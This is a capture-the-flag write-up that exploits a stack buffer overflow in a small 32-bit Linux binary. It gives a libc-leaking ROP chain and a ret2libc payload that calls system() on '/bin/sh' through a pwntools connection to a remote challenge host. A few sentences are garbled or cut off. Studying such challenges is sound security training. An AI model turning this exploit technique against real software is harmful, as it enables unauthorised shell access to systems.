I solved this exploitation challenge while playing Qiwi CTF last week. My team finished the CTF in 22/234.
This challenge was quite interesting because we need to create a leak to solve it. We have a ELF 32-bit LSB executable for Linux, task_3, and the libc.so.6 of the server. I translated the binary to the following pseudocode:
vulnerable_________() {
char buf;
return read(0, &buf, 0x100u);
}
int ________________() {
__gid_t gid = getegid();
return setresgid(gid, gid, gid);
}
int main() {
________________();
vulnerable_________();
return write(1, "Hello, World\n", 0xD);
}
The program is reading 0x100 bytes into buf
, so we might have a buffer overflow (stack based) here. However, this is not so easy, NX is enabled, which means that we can't execute shellcode in the stack:
gdb-peda$ checksec CANARY :disabled FORTIFY :disabled NX :ENABLED PIE :disabled RELRO :Partial
So, we need to use ROP (Return-oriented programming) to get control of the program execution flow. But... we have only a few gadgets and we don't have any syscall instruction available: int 0x80
in the x86 architecture (syscall
in x64). You can use the ROPGadget tool to get these gadgets. However we have the target libc.so! Our exploit needs to somehow leak a libc address and then execute a shell, using the ret2libc attack.
I decided to leak the [email protected] address from the GOT table, which is at 0x804a00c. Then, using this address, I created a leak by jumping into 0x80484f0:
0x80484f0 <main+42>: call 0x80483a0 <write@plt>
This is going to call the write function, but we need to pass the arguments in the stack: 0x1
(stdout code), 0x804a00c ([email protected]) and the length of the address we are printing to the stdout, which is 4 bytes (32 bits). I ended up with this ROP chain:
import struct
p32 = lambda x: struct.pack("<I", x)
#STAGE 1
payload = "A"*140
payload += p32(0x80484f0) #call write
payload += p32(0x1) #stdout
payload += p32(0x804a00c) #[email protected]
payload += p32(0x4) #length
Perfect! Now we have the address of __libc_start_main if we send this input to the program. I tried to run this leak exploit against the server multiple times and noticed the address was always the same, which means that ALSR was disabled in the server. Now, knowing the __libc_start_main address we can calculate the offsets of system() and the string
I created another small ROP chain that returns to system() and sets a pointer to
from pwn import *
import struct
#STAGE 2
r = remote("138.201.98.45", 4000)
libcmainAddr = 0xf7e3e970 #leak from stage1
systemAddr = libcmainAddr+150128
binshAddr = libcmainAddr+1334241
payload = "A"*140
payload += p32(systemAddr)
payload += p32(0xdeadbeef)
payload += p32(binshAddr)
r.sendline(payload)
r.interactive()
Pwned 🙂